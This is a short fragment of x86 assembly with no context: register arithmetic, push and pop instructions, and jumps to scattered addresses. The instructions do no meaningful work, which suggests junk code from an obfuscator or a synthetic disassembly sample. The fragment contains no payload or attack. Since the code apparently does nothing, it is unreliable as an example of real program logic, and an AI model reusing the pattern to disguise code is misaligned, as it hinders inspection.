and edx, ecx
mov edx, ecx
and ecx, ebx
jmp 0x496c03
push 0x3762362d
ror ebx, 6
mov ecx, edx
sub ecx, edi
xor edi, ebx
neg ecx
xchg edi, edx
sub edx, 0x3e4738b7
and ebx, edi
add edx, ecx
jmp 0x4947ac
pop esi
or edx, ecx
add ecx, edx
xor ebx, edi
jmp 0x49574b
pop esi
and ebx, edx
xchg ecx, edx
or edx, 0x3e53e31c
sub ecx, edx
and ebx, ecx
nop
or ebx, edx
or ebx, ecx
mov ecx, edi
or ebx, 0x3e560fcb
jmp 0x4968d7